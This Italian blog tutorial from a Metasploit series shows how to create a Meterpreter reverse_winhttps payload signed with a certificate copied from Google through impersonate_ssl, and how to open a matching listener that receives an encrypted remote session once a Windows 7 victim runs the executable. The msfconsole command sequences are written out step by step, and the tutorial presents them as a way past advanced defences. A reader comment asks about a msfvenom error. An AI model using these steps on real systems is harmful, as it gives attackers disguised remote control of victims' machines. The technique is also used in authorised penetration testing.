N.B.: Tutte le informazioni contenute nel seguente articolo sono a scopo esclusivamente didattico, pertanto l'autore non si riterrà responsabile dell'abuso di tali informazioni da parte degli utenti del sito, qualora esse venissero utilizzate per scopi illegali.

In questo articolo della rubrica su Metasploit Framework, spiego come stabilire una sessione di Meterpreter protetta da un certificato SSL valido. Questa semplice ma efficace tecnica, conosciuta anche come Meterpreter Paranoid Mode, ci permette di attuare pentest anche in ambienti con difese piuttosto avanzate, al contempo evita che qualche malintenzionato si impadronisca delle nostre shell abbandonate.

In breve consiste nel creare un payload di tipo reverse_https assegnandogli un certificato SSL riconosciuto e avviare un listener che utilizzi lo stesso certificato per stabilire una connessione criptata tra attacker e vittima. C’è anche uno script automatico che permette questa operazione in maniera piuttosto agevole, ma chiaramente io vi mostro il metodo manuale: è comunque semplice da mettere in atto, permette di capire più a fondo ciò che stiamo facendo e può essere personalizzato maggiormente a seconda delle singole esigenze di ognuno.

 

Requisiti

Per portare a termine questa guida, ho utilizzato Metasploit Framework su Kali Linux Rolling installato su drive come macchina attaccante e una macchina virtuale di VMware Workstation Player con installato Windows 7 Ultimate SP 1. Effettivamente Windows 7 non è proprio l’ultimissimo SO, ma c’è da considerare che c’è chi ancora utilizza Windows XP e che una licenza Windows 10 costa davvero tanto. Nel caso in cui volessi che i prossimi tutorial fossero realizzati con Win 10, visita questa pagina e prova a cliccare sul pulsante!

 

Creare un payload certificato SSL con msfconsole

Passiamo alla guida vera e propria, più precisamente con la creazione del payload. Finora abbiamo creato i nostri payload con msfvenom e una semplice linea di comando. Dato che per firmare il payload con un certificato SSL abbiamo bisogno di un modulo ausiliario di Metasploit chiamato impersonate_ssl, questa volta andremo a crearlo direttamente da msfconsole. Vediamo come!

 

Copia del certificato

Come prima operazione utilizziamo il modulo ausiliario impersonate_ssl per copiare un certificato attendibile, io ho scelto quello di Google.

use auxiliary/gather/impersonate_ssl
set RHOST www.google.com
run

 

Meterpreter Paranoid Mode - Sessione certificata SSL

Lo script si occupa di copiare chiave e certificati e di riportare la loro posizione a video.

 

Creazione del payload

Cambiamo il contesto di msfconsole, configuriamo i parametri necessari affinché il payload includa il certificato e lanciamo lo script per la creazione

use payload/windows/meterpreter/reverse_winhttps
set LHOST [ip_della_macchina_attaccante]
set LPORT [porta_per_la_connessione]
set HANDLERSSLCERT [percorso_della_chiave_pem]
set StagerVerifySSLCert true
generate -t exe -f [percorso_e_nome_del_payload]

 

Meterpreter Paranoid Mode - Sessione certificata SSL

 

Una volta creato il payload, possiamo spostarlo sulla vittima.

Meterpreter Paranoid Mode - Sessione certificata SSL

 

Aprire un listener con certificato SSL attivo

A questo punto, in attesa che la vittima avvii il software malevolo, impostiamo un listener molto simile a quelli generici usati negli articoli precedenti. L’unico particolare che differenzia questo dagli altri è un invito esplicito a utilizzare il certificato copiato da Google e incorporato nel payload.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_winhttps
set LHOST [ip_della_macchina_attaccante]
set LPORT [porta_per_la_connessione]
set HANDLERSSLCERT [percorso_della_chiave_pem]
set StagerVerifySSLCert true
run

 

Meterpreter Paranoid Mode - Sessione certificata SSL

 

La sessione Meterpreter criptata è attiva

Nel momento in cui la vittima esegue il file malevolo, la sessione di Meterpreter protetta da certificato SSL viene visualizzata sulla macchina attaccante.

Meterpreter Paranoid Mode - Sessione certificata SSL

Condividi: Sessioni Meterpreter certificate SSL

  1. Ciao amico, avrei cortesemente una domanda da farti:
    /var/lib/gems/2.1.0/gems/bundler-1.16.0.pre.3/lib/bundler/rubygems_integration.rb:457:in `block in replace_bin_path’: can’t find executable msfvenom for gem metasploit-framework (Gem::Exception)
    from /var/lib/gems/2.1.0/gems/bundler-1.16.0.pre.3/lib/bundler/rubygems_integration.rb:488:in `block in replace_bin_path’
    from /var/lib/gems/2.1.0/bin/msfvenom:23:in `’
    —————
    Scusami per la lunghezza ma non riesco ad uscirne, me lo fa quando digito msfvenom su msfconsole.
    Grazie in ogni caso, ciao sempre ottime guide!

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.